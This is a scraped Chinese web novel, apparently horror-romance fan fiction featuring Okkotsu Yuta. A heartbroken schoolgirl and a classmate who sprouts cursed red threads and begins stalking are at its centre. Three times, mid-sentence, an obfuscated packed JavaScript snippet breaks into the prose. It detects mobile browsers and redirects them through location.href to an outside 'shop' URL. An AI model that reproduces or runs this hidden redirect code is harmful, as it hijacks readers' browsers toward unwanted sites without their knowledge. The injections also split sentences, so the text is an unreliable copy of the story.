《[综恐]和十字路口美少年谈恋爱》 1. 第一章 “...既然是这样的话,龙介,我们就分手吧,谢谢你过去…”一路以来的照顾。 我没有继续打下去,心想自己都被分手了为什么还要说这种场面话,是什么大冤种吗? 于是愤愤地删光那些好看漂亮的场面话,转而敲下来一段—— “拜拜就拜拜,下一个更乖!记住,现在是我甩了你,不是你甩了我!龙介你这个大混蛋,诅咒你这辈子就找不到像我这样又漂亮又可爱还心地善良的女朋友!大!混!蛋!” 然后果断发送。 仍然是已读不回。 等了十分钟,消息还是石沉大海般没有回复。 我狠下心来拉黑删除一条龙,然后终于哇地一声靠在鞋柜旁边哭了出来。 * …事情是这样的,我叫白石冬花,是东京一个普普通通的女高中生,谈着普普通通的恋爱。 我的男友叫深田龙介,性格温柔内敛,长相帅气,是在学校行事相当低调但是私下很受女生欢迎的那款。 我和龙介是在入学的时候认识的,新生有很多活动,首当其冲就是社团招新大会。我i人属性大爆发,草草地填了跟阅读相关的社团就溜之大吉。 户外的花园、操场甚至部分教学楼的大厅都被各种各样的社团摊位占领了,毫不夸张,外面到处都是认,教室又不准回去,所以我只好躲进图书馆。 我是在图书馆碰见龙介的。 他好像也是厌烦了外面热闹的人群,才躲到图书馆来。 少年身形高挑清瘦,白色的校服衬衫穿在身上,黑发黑眸,略显苍白但精致的五官,坐在那里安静地看书,仿佛像静止不动的一幅画一般美好。 我和他碰巧看上了同一本书。 是一本很冷门小众的小说集,大概他也是没想到会有人对这本书感兴趣,他看到我出现在旁边也准备拿这本书的时候还吃了一惊。 经过交谈,我还发现我们进了同一个社团! 我一直觉得这应该是某种特别的缘分指引我们碰在一起,而且龙介为人低调,长相也不俗(我颜狗),最重要的是,他学习成绩也很好,跟我有相似的爱好。 真正在一起是某次我们参加读书会,他准备读一篇英语短篇小说,便找我提前预演一下。 我英文水平有限,但听他讲英语好像是自己在听什么英文电影配音似的,好苏好好听,大概也是气氛到位了,我便鬼使神差地说了一句,“深田同学,可以做我男朋友吗?” 话一出,我自己都惊到。 正准备打个马虎眼补充一下自己只是因为听着英文听得太入迷了所以忍不住开个玩笑之类的,龙介却点了点头,异常认真地说了声好。 …总之,就这样,我和龙介在一起了。 然而甜甜的恋爱只谈了大半年,因为家庭的原因龙介要搬回老家,我有点舍不得,但是两人还是约好了大学一起考上东京的学校。 只是没想到就在四个月前,龙介就好像人间蒸发了一样,电话打不通,社交媒体也停止了更新,发的消息基本是石沉大海,但最近几天我发现那些过往的消息都标注成已读了。 已读不回,这是什么意思? 这不就是冷暴力要跟我分手吗? 于是才有了今天这么一出。 我本来以为我已经鼓起勇气下定决心要跟这个渣男说拜拜了,可是等消息一发出去,看到的还是那个熟悉的已读不回的操作时,我心里更多的是委屈和难过。 就算是真的因为异地要分手,为什么不能好好说呢? …所以我到底做错了什么呢? 现在早就过了正常的放学时间,鞋柜这边已经基本没什么人了,于是我放声大哭,就好像这样就可以把我满腔委屈哭出来似的。 “呜呜呜呜呜呜呜呜呜呜……” “...那个…白石同学…” 冷不丁的声音让我的放肆的哭声一顿,我转头顺着声音看过去,是我那个沉默寡言,行事孤僻的后桌…好像叫什么‘乙骨忧大’来着。 “白石同学,我叫乙骨忧太,不是乙骨忧大…” 我一阵尴尬,小声地说了声抱歉,随后意识到一个可怕的事实——他站在这里多久?他听到了多少? 啊啊啊啊啊!! “你都看见了?” 我面如死灰地发问。 他诚实的点了点头,大概是见我的脸色不好,他又立马慌张补充,“那个,我不是故意偷看的,因为白石同学你坐的位置,正对着…是我的鞋柜…” 我抬头看了看面前的鞋柜,果真写着‘乙骨忧太’的名字。 我干巴巴地张嘴,正准备说不好意思挡住你换鞋了,随后一想,我被渣男冷暴力分手被班上沉默寡言的同学看见了本来就已经很惨了,他借个位置给我先哭一下怎么了呢? “我先哭一下怎么了呢?你只是晚放学几分钟,我可是被渣男骗了快一年!呜呜呜呜呜呜…” “……” 不是,你被渣男骗了分手关他换鞋放学什么事呢? 乙骨忧太在心里暗暗吐槽道。 * 乙骨忧太转学来到这个学校已有半个学期,因为‘特殊的原因’在班上没什么存在感,从开学伊始就默默地坐在教室的最后一排,上学是一个人上学,放学也是等到班上所有人都离开后才会默默独自离开。 只是没想到今天在鞋柜看到了自己的前桌——白石冬花。 他转学来的时候深田龙介已经转走了,自然是没见过的,但口口相传,他就算再不合群也道听途说了一些关于白石冬花和她男友的传闻。 深田龙介没离开之前,和白石冬花一直是学校内的模范情侣,也是大家暗戳戳妒忌的对象。 原因无他,白石冬花是非常非常可爱又漂亮的女孩子,但她自己似乎对自己的魅力一无所知。 单论外貌,白石冬花的脸和五官称不上惊艳绝伦,但是看着非常舒服,尤其是一双圆滚滚的黑眸好似宝石般闪闪发亮,肤若凝脂,好像上了色的瓷器,黑色的长发总是会编织成好看的麻花或者鱼尾辫,整个人散发着一种元气满满的可爱感。 眼下少女哭得梨花带雨,眼睛红得像兔子眼,润滚滚湿漉漉地看着自己,那些吐槽的话瞬间都说不出来,乙骨忧太只得干巴巴地从背包里掏出一包纸巾,抽出一张递给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682539|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她接过纸巾小声地说了声谢谢,然后就好像打开了话匣子一样,开始滔滔不绝地倾诉起自己的苦闷来。 原来是男友转学之后失联,然后消息已读不回的冷暴力式分手啊… 那个深田龙介,真不是个什么好人! 于是他开口安慰道:“白石同学,为那样的男生落泪不值得,你可以值得更好的…” 少女立马抬起头来,眸光湿润地看自己,“真的吗?” “……” 乙骨忧太有些僵硬的点点头,小声说: “真的。” 然后她哭得更大声了。 “呜呜呜呜…” 乙骨忧太:? WHY??? “明明我什么都做错还那么好但还是被甩了,难道是因为我变丑了吗?” 乙骨忧太:“……” 好、好跳脱的思路,有点跟不上… 但是—— “没有的事,白石同学没有变丑,还是一如既往的好看。” 他始终站在距离女孩两米开外的位置,神色温和地回答道。 “真的吗?” 闻言,少女眼睛一亮,然后猛地凑到他的跟前来,吓得乙骨忧太下意识后退两步,手中的拳头不自觉地握紧。 不可以靠近… 靠的太近的话…里香会… 结果就是,可怕的事情并没有发生,反倒是自己后退两步的东西像是打开了什么不好的开关。 她哭得更大声了。 哭得叫一个撕心裂肺,天崩地裂。 就好像他就是故事中那个渣男! 乙骨忧太顿时手足无措起来。 可是为什么,里香没有反应呢? * 我不知道乙骨忧太内心的九九,但他后退两步的动作着实是刺痛了我。 难道我真的变丑了吗? 不就是前天贪嘴多吃了几包薯条还熬了个夜看小说,然后脸上忽然冒出来一颗痘痘… 而且,明明就在不明显的位置… 我哭得更大声了。 可哭了一会发现那个家伙还像是木头一样傻站在原地,丝毫没有要为自己伤人的小动作感到懊悔或者试图进行一些弥补的举动,我的难过瞬间转化成了愠怒。 这个人怎么回事? “你是笨蛋吗?我需要纸巾啦!更多的纸巾!” 闻言,直男如乙骨忧太才如梦初醒般、手忙脚乱地从包里掏出剩下的纸巾,还没等他抽出来,我便迫不及待地整包抽纸拿走。 “全都给我啦!就是一包纸巾不要那么抠门,我明天、明天还你两包就是了!呜呜呜呜…” 少女带着哭腔,奶声奶气故作凶狠地说道:“小气鬼!” “……” 倒也不是小气不小气的问题,只是300抽的抽纸,真的用的完吗? 但是… 少女从他手里夺过纸巾的时候,手不可避免地、短暂地接触到了他的。 温热的触觉一闪而过,但也是实打实地碰到了他的手。 为什么? 里香好像没有反应呢? 2. 第二章 和乙骨忧太奇妙的缘分就结束在昨天放学前,因为抽纸用光的原因,我终于哭够了,装作恶狠狠的样子朝他留下一句“今天的事,绝对不可以告诉任何人!不然,我会很不开心的!”然后转身跑走作为结束。 第二天进教室的时候,我还刻意观察了一下整个班级的氛围,发现没有人向我投来奇怪的目光,大家好像都在正常地交头接耳,讨论着与学习、学校无关的日常琐事,这才稍稍放心下来。 所以、应该是能相信乙骨忧太的吧… 看上去他真的没有跟任何人说这件事! 毕竟被甩什么的,真的超级丢人的好吗? 我松了一口气,提着背包回到座位上,然后趁所有人不注意的时候,从背包里快速地掏出两包崭新的、没开封的抽纸然后放在乙骨忧太的桌面。 “诺,还给你,没拖没欠。” 一包换两包,还是Tempo的抽纸,怎么说都是他赚了… 个鬼。 我一副打定主意用这两包纸巾结束我们昨晚之间的孽缘的模样,成功让乙骨忧太头上冒出了问号。 倒也不用… 毕竟小事一桩,他根本都没放在心上。 不过出于礼貌,他还是小心翼翼地收下那两包纸巾,小声说:“谢谢。” 我松了一口气,又立马我又发现乙骨忧太似乎在盯着我的手看,可我一看他,他又匆匆别开视线,一副不愿多说的样子。 我:? 不懂就问、跟我说话是什么很为难的事情吗? 想到这里,我干脆也扭过头去不再看他,而是从书包里掏出课本开始预习。 可是越想越气,他凭什么这么云淡风轻,还一副不想跟我扯上关系的样子? 我是什么洪水猛兽吗? 我一阵气结。 不过这种莫名其妙的郁闷来得快去的快,前桌神秘兮兮地转过来跟我讲起了八卦,那股子气便瞬间消散不见。 八卦,专业拯救不快乐! “冬花,你听说了吗?” 前桌高桥美惠子神秘兮兮地转过来,小声开口道: “A班的樱井桃子呀,跟石井分手了…之前这个石井还说什么“我和桃子是被命运的红线绑在了一起,是会永远在一起的…”,当时就把我肉麻得不行…” 石井是我们班上的人,而樱井桃子是隔壁A班的班花,长得好看,成绩又好,据说家庭条件也非常不错,是学校里比较受欢迎的一挂。以至于当时石井这当时和她官宣恋情的时候,还是在年级中造成了不小的反响。 毕竟相比之下,石井真的有点显得平平无奇了,偏偏这家伙还一脸骄傲地跟我们说自己跟樱井的缘分是上天注定的,是命运的红线将他们绑在一起,无论如何都不会分开等等一系列肉麻至极的言论,遭到了班上不少同学的反感。 所以也难怪美惠子的话显得有些刻薄了。 不过—— “美惠子同学,你怎么断定是樱井甩了石井呢?” “因为石井已经连续请了三天假,虽然理由是生病,但我估计这家伙肯定是躲在被窝里哭了三天,不敢面对自己竟然被这么优秀的女生甩了的事实…” 她说的信誓旦旦,仿佛已经亲眼见到石井窝在被子里哭泣的画面。 “...而且啊…我昨天放学的时候有看见…” 美惠子再次把声音压低。 我的心瞬间提到嗓子眼,难道昨晚自己痛哭流涕的样子被美惠子看见了吗? 她先是眼睛四处瞟了一下,确定没人在关注我们这边才放下心来,仿佛要跟我分享什么惊天秘密似的,然后靠到我的耳边低语道: “昨天…我有看到…看到…樱井和C班的班草手牵手一起放学哦…肯定是新欢吧!…诶?白石同学,你怎么把书本撕烂了?” 我像是泄了气的皮球猛地松开了手下的课本,看着可怜的、被蹂躏得皱巴巴的纸,皮笑肉不笑道:“没事…下次能不能一口气把话说完……” 原来主角不是我,那没事了… “哈哈,对了,你和深田同学最近怎么样了?” “…当然是好得很啦!” 我脸不红心不慌地说道,绝对不能让美惠子发现我被龙介甩了!要是让我成为话题中心被人这样议论来议论去还要同情可怜我被渣男甩了的话,我直接原地退学… 所以为了增加可信度,我甚至编撰起莫须有的情节来, “昨天晚上龙介还跟我打了整整三个小时的电话,一直说很想我呢…” 美惠子一副‘男才女貌天作之合’的模样闪着星星眼,“不愧是白石同学和深田同学呀!” 我莫名有点心虚地摸摸鼻子,正巧此时乙骨忧太交完作业从前面走来,我冷不丁地对上他的双眸,蓝得通透,好像把我的谎言都洞穿一样… 我迅速低头不敢看他,触及我的视线,他也是立马错开。 两人有种诡异的、共通的偷感… 见鬼了… 这家伙怎么总是在我最囧的时候出现呢? 教室前方传来一种哄闹声,我和乙骨忧太都不约而同地看向骚乱处。 原来是请假三天的石井同学回来了。 传闻中的主角回归,大家不敢舞到正主面前去八卦,只好偷偷交头接耳,私下议论。而身为舆论中心的石井脸色阴沉,浑身上下散发着一种生人勿进的阴冷气息。 尤其是大家注意到他手腕上缝合的线口,议论声更甚了。 …果然,这人想不开在家里闹自杀才三天没来上学吧… 注意到大家议论他,他转过头来狠狠地瞪那些人,他们才稍稍消停了些许。 虽然只是短短的一个照面,但对上石井那双阴冷,布满红血丝的双眼时,我还是下意识打了个寒颤。他的面容苍白,双颊微微凹陷,显得布满血丝的双眼越发凸出,眼睑下方还有一圈青色的阴影,整个人散发着如同坟墓中爬出来的活死人的腐朽气息。 …很符合我对刚遭受重大打击失恋在家痛苦三天后的刻板印象… 不过,比电视里演的还要夸张不少就对了。 果然艺术来源于生活,而生活高于艺术。(不是!) “不要靠近石井同学,他不太对劲。” 乙骨忧太冷不丁地说道。 我抬头诧异地看向乙骨忧太,不明白他为什么发出这样的感慨。 正准备细问的时候,上课铃声响起来,他也顺势回到座位上继续扮演沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682540|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寡言,毫无存在感的后桌,我只好作罢。 反正我和石井同学本来也没有交集。 * 结果就是打脸来的很快。 上课的时候,石井同学好像是想不开,竟然在课堂上用美工刀划拉自己的手腕,可把班上的同学和老师都吓了一大跳。 虽然没有造成实质上的伤害,但老师看着石井手腕上扎进血肉的缝合线眉头直皱,还是让石井去医务室找校医检查一下。 石井前脚刚离开不久,后脚老师还是放心不下,便指派了我去医务室查看石井的情况。 原因是,我是班级上的生活委员。 谁能想到,一开始只是为了攒点德育分所以选了个毫无存在感的生活委员当当,没想到在这里被派上了用场…… 我慢悠悠来到医务室的时候,石井已经看完校医了,正盯着自己手腕上的缝合线陷入沉思。 等下,他手腕上的缝合线是不是又多了几截? 刚刚在教室里看好像并没有那么长…随后我又立马打消了自己脑海中那些不切实际的幻想,难不成这缝合线还能自己生长吗? …怎么想也不可能,又不是灵异恐怖片… 所以大概率就是,刚才在教室里看的不清楚,或者缝合线被袖子遮挡了一部分。 “那个…石井同学,你还好吗?身体有没有哪里不舒服?” 我乖巧地扮演着生活委员的角色,尽职尽责地开口道。 我的声音似乎将石井神游的思绪拉了回来,他被吓了一跳,一不小心把桌子上开封的碘伏给弄洒,瞬间在他白色的衬衫上晕染出大片的棕褐色。 “抱歉!是不是我吓到了你…” 我立马掏出随身携带的手帕,有些慌忙地递给他, “石井同学你先用手帕擦一下…真的、真的非常抱歉…” 我一遍遍地说着不好意思的话。 石井倒是大方,接过我的手帕也跟着我的话反复说着“没关系”之类的安慰我的话。 …我看他精神挺稳定的,一点也不像会为了樱井自杀的样子诶… 不过,人不可貌相,可能只是在外人面前故作坚强? 不过,确认他的状态良好之后,我的任务也就完成了,正准备离开回教室上课的时候,石井叫住了我。 “那个…冬花同学,谢谢你的手帕,我洗干净之后会还给你的。” 他努力挤出了一抹笑容,只是干瘦苍白的脸这样看上去更加扭曲可怕。 我冷不丁抖了一下,匆匆摇头回复,“不用谢,小事一桩,手帕也不用洗了,石井同学你用完就扔了吧…” “...我先回教室上课啦,石井同学你好好休息。再见。” 然后脚步匆匆地离开了医务室。 …现在赶回去应该还能听上老师的课堂总结…可恶,落了一节课,让本来就不太好的成绩越发岌岌可危的说… * 校医回到医务室的时候,里面只剩下石井一人,正捧着手帕一脸痴迷地嗅着、闻着,嘴里不断地念叨着: “...好香…好香…” 空气中散发着某种酒□□体挥发的气味,甜腻腻的。 带着不可言说的腐败的气息。 3. 第三章 最近在学生群体中流行起了一个占卜游戏。 相传,只要在起雾的清晨或者傍晚来到雾之町的十字路口,如果碰见一个美少年,只要挡住自己的脸就可以去询问美少年有关恋情的事情,如果能够得到美少年肯定的回复,那么恋情就势必能成功顺利。 反之,恋情则是绝无可能成功。 石井自然也听闻了这个都市传说。 可他只当是那些男生女生无聊瞎扯的白日梦…怎么可能会有这么离奇的事情? 而且他刚和女友樱井分手,还烦恼于身体上发生的异变——他的身体上无缘无故出现红色的缝合线,完全没有任何疼痛的感觉,那些缝合线就这样莫名其妙地出现在他的身上。 一开始只是手腕处,然后是肚子上,现在隐隐开始在全身蔓延。 红色的丝线看似脆弱,却是刀子也没办法隔断。 父母带他医院诊治,医生见到这样的症状也是束手无策,只当是一种角质化的皮肤病。 情况随着时间的推移越来越糟糕了… 没有一件事是顺利的!真的可恶! 正当他烦躁到极点的时候,忽然发现自己来到了一个十字路口,周围不知何时已经弥漫起诡异的雾气,浓厚得不见前路,使人完全迷失其中。 这雾气究竟是什么时候出现的? 还有路上的行人…都去哪里? 哒——哒——哒—— 安静只剩下他呼吸声的街道,忽然传来脚步声,伴随而来则是铺天盖地的哀嚎声,好像无数个冤死的灵魂无法成佛,不断地重复着死前最后的声音:爱恋的、呢喃的、绝望的、愤怒的、哀伤的…同一时间汇入他的耳中,渗得他双腿不自觉瑟瑟发抖。 忽然,浓雾中出现了一个少年的身影。 那些声音瞬间消失了。 好像是死去的少女们,在以无声的注视来迎接自己的神明偶像。 石井不由地瞪大双眼,下意识盯着雾中的少年。 他的身材高挑,在雾中呈现一种难以看清的朦胧状态,黑色的高领上衣刻画出锁骨的弧度,苍白冷清如同月光的脸,轻薄的嘴唇紧抿着,透露着如同鲜血一般的红艳,看上去疏离冷清,却带着某种致命的吸引力。 那双只有眼白的诡异双眸盯上石井的一瞬间,他下意识双手举起包挡在脸前。 是那个都市传说中的美少年…他脑海中瞬间闪过这个想法。 如果真的是这样,那他是不是可以… 他垂下眼眸,眼见少年已经走到自己的面前,他忽然叫住对方:“那个…请等一下…” 语毕,黑衣少年在他面前停下了脚步,高大的身影笼罩在他身上,然而诡异的是,石井垂眸看底下,浓雾中竟然看不见少年的双腿! 他瞬间吓得不敢动弹,但是嘴巴就好像有自己想法一样,张嘴问道:“请问下,我和桃子…还可以复合吗?” 黑衣少年那双总是写满嘲讽的白眸瞥了石井一眼,像是看待什么垃圾一样,鲜红的嘴唇张开,吐出的则是恶毒之极的话语,“怎么可能会跟你这种人复合…你会死的,你和她的命运已经彻底断了,你会死得很惨很惨…等那些红线吞噬掉你后…” “就去死吧…就连尸体,她都不会多看你一眼。” 随着黑衣少年的声音走远,那些浓雾也消散了,就好像从来没有出现过一样。 只留下石井在原地目眦欲裂,嘴里不断念叨着‘死’字。 你会死的你会死的你会死的你会死的你会死的会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死会死死死死死死死死死死… 凭什么?凭什么他要死? 如果他真的逃不过要死的话,那么… * 第二天我来到教室的时候,班上非常热闹,大家纷纷三三两两地围在一起看向某个统一的方向吃瓜。 故事的主角是石井,准确来说,是来找石井的樱井桃子,她来势汹汹,一副很是恼火的模样。 “...我们已经分手,拜托你不要再来纠缠我,也不要半夜往我家里打电话…” 樱井桃子脸上写满了不悦,情绪激动时语气也变得越发地尖酸刻薄,一改往日那个温柔体贴、落落大方的女神形象,她的眼睑下方是浓厚的黑眼圈,看来昨晚睡的并不好, “也拜托你不要再爬我家房子的阳台,你这样是犯法的,再有下次我就报警了!我再说一次,我跟你已经结束了,永远的结束了!” 什么?昨晚石井去爬樱井家的阳台了?! 樱井的话信息量太大太爆炸,把教室的人炸出了一片诡异的沉默。 我也不由地屏住了呼吸,替人尴尬的毛病又开始犯了。 …已经是在班级上、啊不对,很快就是在整个学校,都要社会性死亡的程度吧… 石井同学的座位在前排,加上他此刻背对着我,根本看不见他脸上的表情,但他似乎出奇地冷静,语气压抑到了极点,嘴里似乎在低声呢喃着些什么。 -你会死得很惨。 -等那些红线吞噬掉你后…就连尸体,她都不会多看你、一眼… 樱井见他有些莫名其妙,重复一遍,“石井,你听清楚了吗?” 他有些崩溃地说道,“不可以!桃子你不可以离开我…我会死的,我真的会死的…我不想死…不想死…” 像是在自言自语,又像是一个预告。 就好像如果她真的这样做了,他就要想不开做出一些傻事来一样… 樱井桃子只是嫌恶地看了他一眼,又见大家的视线都集中在他们这里,面露羞愤,只留下一句“再有下次我就对你不客气了”便离开了。 教室里还是安静得可怕。 樱井走后,石井整个人好像被抽走了力气似的,颓废地瘫坐在自己的座位上。同学也不敢贸贸然去惹他,他的位置周围便成了一小块真空地区,无人靠近。 就连靠他最近的那位同学,也是瑟瑟缩缩地拿起自己的书本,默默地跑到了后几排的空位上坐。 嘴里还念叨着好可怕好可怕… 是近距离目睹了两人争吵现场所以感到可怕吗? 我有点奇怪,但没有多想。 但石井似乎很快就恢复了正常,他是班上的学委,眼见离上课的时间越发靠近了,他便起身开始张罗起收集大家的作业来。 不知为何,有些同学见了石井的样子,都有些避之不及。 我一开始没发现异样之处,直到石井来到我的座位上收取作业。明明是夏季,他却偏偏穿着长袖的秋装校服,甚至里面还配上了高领的打底衫,仿佛这具身体有什么重大的秘密急需遮盖似的,我一低头就被他唯一裸露在外的手背给吸引了过去。 只见上面密密麻麻缠满了红色的线,凌乱的线像是从肉中长出来似的,已经看不到底下原本肌肤的颜色,一路延伸至袖子底下,给人一种非常不详的感觉。 光是幻想一下用针把这些红线扎进血肉的场景,就已经开始疼痛了。 石井同学…的手,到底是怎么回事? 我开始后知后觉意识到他同桌避之不及以及恐惧的原因…石井同学这是为爱发疯,开始自残了吗? 可是他是完全感觉不到疼痛吗? 意识到我盯着他的手看得太久了,我有点不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682541|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,迅速地将作业递给他,然后回之一个有点心虚,但故作无所谓的笑容, “辛苦了,石井同学。” 少女是这么多人里面唯一一个直视自己,并投来善意微笑的人,石井看着她的笑容有些失神,虽然露出了异常满足的笑容, “不用客气,冬花同学…” …他们什么时候好到可以称呼她为冬花同学了? 等石井收完所有的作业离开之后,我终于才松了一口气,前桌的美惠子刚好离开了座位,我急于找人倾诉,便将目光投向了后桌的乙骨忧太。 后者正盯着前面还在整理作业的石井,眉头紧蹙。 “乙骨同学,你…刚才有看见石井同学手上的线吗?” 我有些怕怕的开口道,光是想想那个密集的画面都觉得鸡皮疙瘩起来了。 乙骨忧太点了点头,但还是只有那一句:“不要太靠近他。” 那个人,给他的感觉越来越不对劲了。 就好像、有什么不好的事情马上就要发生一样… 我不知道乙骨忧太的心理活动,但见他还是一副不愿意和我多说一句的样子,刚才那股挥之欲出八卦劲就好似被人泼了盆冷水似的,蔫了下去。 …算了,我真是饿了才会选择跟这个闷葫芦聊天… 我百无聊赖的‘哦’了一声,然后转回去,继续看书。 女孩的前后态度转变之快,乙骨忧太有点摸不着头脑。 怎么感觉她好像生气了? …果然,他还是不擅长应付女孩子吗? * 因为要做值日的缘故,我今天放学离开学校的时候比较晚。哪知道还没走到校门口,远远地就看见那里矗立着一个人,似乎在等待着什么。 我一眼就认出那人是班上的石井同学。 他在等谁? 樱井桃子吗? 我一边想着一边走过去,却不料他直接叫住了我。 “等等,冬花同学。” 我有些奇怪地看向他,石井同学看上去精神状态很好,双眼闪烁着某种疑似狂热的光芒。见我的表情十分疑惑,他有些羞涩地挠了挠后脑勺,然后小心翼翼地从口袋里掏出昨天我在医务室给他的手帕。 “我是特意来还你这个的,真的非常感谢你。” 看着叠得方方正正的帕子,我犹豫了一下还是接了过来。 “不客气,同学之间互帮互助嘛…” 他嘴角的弧度咧得更开了,顺着我的话意有所指地开口:“冬花同学,你人真好…真好…” 我莫名有点恐惧,尤其是他的笑容像极了公式化的机器人,看我好像在看什么好吃的猎物一样。 正巧此时有辆公交到站,我便借口赶车先离开一步。 公交门关上车子重新启动的瞬间,我这才终于松了一口气。回过头看去,石井还站在原地目送我和公交车离开。 其实这趟公交并非我回家需要乘坐的,所以在拐角后的下一站,我又立马匆匆下车。 傍晚已过,街上冷清,还泛起了雾气。 我盯着手里的手帕看的有些出神。 …话说,这老哥真的洗手帕吗? 要不还是扔了算了吧…总感觉给我一种不好的感觉。 老师说过,遇事不决,相信直觉。 正当我四处张望寻找垃圾桶的时候,一阵无名风吹来,非常精准地将我手里的帕子卷走,还没反应过来就高高地飘在天上飘远了… …这绝对就是天意! 不好意思了,石井同学。 不过、乙骨忧太说得对。 石井他真的、非常不对劲! 4. 第四章 第二天,我照常来到学校,先去鞋柜区换鞋。 然而一打开鞋柜,就在里面看见了那条昨天不知道被风吹去哪里的手帕,熨贴地叠成了方块的小豆腐状,正安然无恙地躺在我的柜子里。 这个手帕昨天不是已经被风吹走了吗? 怎么自己又长脚回来了... 我脊背忽然窜出一股凉气直冲向上,冷得我头皮有些发麻。 旁边的高桥美惠子一脸奇怪地看着我如临大敌的模样,里里外外、仔仔细细地检查着鞋柜的锁。 锁头也没坏啊...钥匙也只有我手上的这一把,并且我确信这把钥匙从来没有离开过我身边。 就算不是自己长脚走回来而是好心人捡到给我送回来,这到底怎么放进去鞋柜的? 美惠子见我一直盯着鞋柜发愣,便好奇地探过头来,惊讶地问道,“冬花同学,这是情书吗?绝对是情书吧!” 我顺着她指的方向看过去,之间柜子深处还有一封黑色的信。 因为靠的比较里面,视线受阻,加上刚才注意力都在那个‘失而复得’的手帕上,竟然没注意到这封信。 我下意识地左顾右盼,见大家都在自顾自地做着自己的事情,没有半点异常,心中的不安和疑惑越发浓郁。 信封上只有简单的一行字—— “白石冬花收” 说实话,我不太敢拆这封信,但从这个手帕来看,我脑海中立马浮现出了昨晚石井目送我在公交上离开时的笑脸。 难道这封信和手帕是石井送过来的吗? 因为我实在想不到跟这条手帕能扯上关系的,除了石井还会有谁... 糟糕!不会是那天我被老师吩咐去医务室的事情让他误会了什么吧... 不懂就问,男生都是恋爱脑上长了个人吗? 高桥美惠子用八卦又羡慕的语气催促着我打开信件查看,我立马有些尴尬地将信和手帕收进口袋,“没有啦...只是一些无聊的信件,才不是情书的什么...毕竟正常人谁会用黑色的信封当情书来写呢?” 她连连点头附和称我说的也有道理,但也不知道是信了还是没信。 我有些心不在焉,迅速换好鞋便和美惠子一起回教室。 但关于这个信件和手帕的疑问仍旧萦绕在我的脑海中,很快另一件事就迅速将我的注意力全部转走—— 半年未见的龙介回来了。 * 我是在走廊的窗户边上发现龙介的。 察觉是他的瞬间,我当场愣住。 不见的半年里面,少年似乎又长高了不少,也变得越发的纤细,原本还有些婴儿肥的脸变得棱角分明,浓墨般的黑发黑眸,和光洁如同象牙的肌肤形成强烈的对比,轻薄的红唇紧抿,若有似无地勾着嘲弄的弧度。 他光是站在那里就已经是关注的中心,尤其是女生,像是被摄取了魂魄似地远远看向他,诡异地在他周围形成了一片真空地带。 我不会认错的,纵使他变得更加好看了。 但我肯定,那就是龙介。 最重要的是,他穿着我们学校的校服。 ...他什么时候悄无声息地回来了? 我皱着眉想到。 “冬花同学?你看什么看得这么入迷?...诶?那是新来的转校生吗?感觉好像没见过呢...好帅...不知道会不会分来我们班诶...冬花同学?你去哪里呀?马上就要上课了!?” 此时我一门心思都想要去质问这个对我的信息已读不回的渣男为什么忽然转学回来,完全没有心思在听后边的美惠子的话。 以至于我完全没有注意,美惠子对待这个悄咪咪转学回来的龙介的态度,是那么的陌生。 ...就好像她从来没有见过面前这个‘深田龙介’似的。 我一路小跑来到教学楼外面,龙介正站在树荫下,清晨的阳光透过树荫斑驳地洒落在他的脸上,苍白得接近透明,根本不像是活人能拥有的肤色。 我的脚步放缓了,微微小喘着气。 --为什么所有的消息都已读不回? --为什么不打一声招呼又忽然转学回来? --就算真的要分手也好,为什么不能好好跟我聊一下... …… 我心中有太多的为什么急迫地开口询问,真相和答案就在不远处的树荫下,我却没由来地开始紧张起来。 因而没能注意到不远处人群散发的骚乱,正以一种失控的态势朝我袭来。 * 石井身上的红线彻底失控了。 一开始,见多识广的爷爷安慰他,这是所谓的‘千人针’。所谓‘千人针’,就是古时候的妇女为了自己出征打仗的朋友亲人所缝制的特殊腰带,由一千个女人一人缝上一针,这样可保士兵平安归来,颇有种华夏百家被的意思在里面。 爷爷认为这是去世的奶奶对自己的一种祝福,帮助他度过即将可能发生的劫难。 可等来等去,也没等来爷爷口中所谓的‘劫难’,反倒是身上的红线越缠越多,已经远远超过一千针了。 并且还以惊人的速度增长着数量... 他立马意识到,这根本就不可能是千人针! 而是他和桃子之间那被切断的红线! 热恋时期,他和桃子曾经许下过承诺,两人之间是有特殊的红线牵引在一起,是注定会永远在一起的...而如今桃子把他给甩了,相当于擅自将两人之间那象征着命运的红线切断,所以那些红线现在反噬在了他的身上... 虽然他的推测是如其的离奇,但诡异地有说服力... 再说了,这些悄无声息镶嵌进血肉的红线同样离奇的无法用常识或者科学解释,这让他越发坚定并且肯定了这个猜测。 一定是这样! 这一切都是桃子的错! 